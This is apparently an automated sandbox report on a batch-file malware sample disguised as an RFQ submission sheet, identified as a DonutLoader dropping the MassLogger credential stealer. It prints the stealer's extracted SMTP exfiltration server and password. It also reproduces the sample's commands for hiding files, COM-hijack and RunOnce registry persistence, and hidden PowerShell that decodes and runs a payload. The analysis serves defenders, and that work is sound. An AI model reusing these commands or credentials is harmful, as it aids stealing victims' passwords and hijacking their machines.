Analysis
- max time kernel
300s - max time network
204s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
21/04/2026, 16:14
General
- Target 003 rfq_6000139560_technical_offer_submission_sheet.bat
- Size 145KB
- Sample260421-tp31pahs8k
- SHA256 88488520b70af36f83351803aab59debe6b031d34bd95a47276fbc040544c496
Malware Config
Extracted
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Protocol
smtp
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Host
mail.taikei-rmc-co.biz
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Port
587
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Username
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Password
dy8tm;jRtJO[:bG:
Extracted
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masslogger
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exfiltration_mode
#SMTPEnabled
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expire_time_date
2025-12-17
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host_password
dy8tm;jRtJO[:bG:
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host_port
587
- host_receiver
- host_sender
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host_server
mail.taikei-rmc-co.biz
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ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- outlook_office_path
- outlook_win_path
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\003 rfq_6000139560_technical_offer_submission_sheet.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\003 rfq_6000139560_technical_offer_submission_sheet.bat"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Record.bat"4⤵
- Views/modifies file attributes
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Injury" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Record.bat\"" /f4⤵
- Adds Run key to start application
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\EMOTION.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Earn.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -f "C:\Users\Admin\AppData\Local\Temp\Earn.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\24qts3it\24qts3it.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1A3A.tmp" "c:\Users\Admin\AppData\Local\Temp\24qts3it\CSCDD316FE0967C4FDEB235C94BDACAD5E.TMP"6⤵
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
24qts3it.dll
EMOTION.tmp
EMOTION.tmp
Earn.ps1
RES1A3A.tmp
__PSScriptPolicyTest_4rqgcwkv.rl5.ps1
Record.bat
24qts3it.0.cs
24qts3it.cmdline
CSCDD316FE0967C4FDEB235C94BDACAD5E.TMP
memory/836-82-0x000002C18DF30000-0x000002C18DF3C000-memory.dmp
memory/1708-86-0x000002964C990000-0x000002964C99C000-memory.dmp
memory/1708-85-0x000002964C7F0000-0x000002964C8C6000-memory.dmp
memory/1976-89-0x000001F7769C0000-0x000001F776B6C000-memory.dmp
memory/1976-90-0x000001F778760000-0x000001F77876C000-memory.dmp
memory/1976-96-0x000001F7769C0000-0x000001F776B6C000-memory.dmp
memory/1976-97-0x000001F778760000-0x000001F77876C000-memory.dmp
memory/1976-88-0x000001F778E20000-0x000001F778E28000-memory.dmp
memory/1976-91-0x000001F778AA0000-0x000001F778AB2000-memory.dmp
memory/3084-100-0x000000000D320000-0x000000000D4E2000-memory.dmp
memory/3084-99-0x0000000003790000-0x00000000037E0000-memory.dmp
memory/3084-94-0x0000000005130000-0x000000000514E000-memory.dmp
memory/3084-92-0x0000000002F60000-0x0000000002F74000-memory.dmp
memory/5144-50-0x000001BFE8EB0000-0x000001BFE8ED2000-memory.dmp
memory/5144-47-0x000001BFE91D0000-0x000001BFE91E0000-memory.dmp
memory/5144-48-0x000001BFE91D0000-0x000001BFE91E0000-memory.dmp
memory/5144-62-0x000001BFE91E0000-0x000001BFE92CA000-memory.dmp
memory/5144-56-0x000001BFE91D0000-0x000001BFE91E0000-memory.dmp
memory/5144-61-0x000001BFE89F0000-0x000001BFE89FC000-memory.dmp
memory/5144-63-0x000001BFE8A90000-0x000001BFE8AA2000-memory.dmp